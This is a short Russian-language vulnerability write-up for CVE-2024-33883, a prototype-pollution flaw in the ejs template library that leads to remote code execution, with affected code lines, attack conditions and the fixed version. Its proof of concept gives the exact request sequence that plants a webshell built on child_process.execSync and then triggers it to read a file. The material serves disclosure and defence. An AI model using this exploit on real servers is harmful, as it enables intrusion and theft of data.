CVE-2024-33883

[email protected], недостаточная проверка Prototype Pollution, приводящая к эксплуатации RCE

• С помощью prototype pollution установите для opts.client истинное значение (условие)
• Затем, когда выполняется render(), ejs выполнит значение opts.escapeFunction как JS-код.

Диапазон уязвимого кода

На основе [email protected]

1. ejs/lib/ejs.js - строки 580, 636, 637

PoC (Внедрение веб-шелла и его активация)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Внедрение веб-шелла

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Активация веб-шелла

• Указанный выше PoC может обойти сброс исходящих пакетов межсетевого экрана ufw.

• Все версии ниже 3.1.10 уязвимы для данного типа атаки.

• Это RCE-уязвимость, не злоупотребляйте ею на боевых серверах.

Условия проведения атаки

1. Требуется контроль над render().
2. Требуется контроль над вектором атаки prototype pollution.

• Если оба указанных выше условия выполнены, RCE-атака возможна.

Как предотвратить эту атаку?

• Исправленная версия ([email protected]) уже доступна.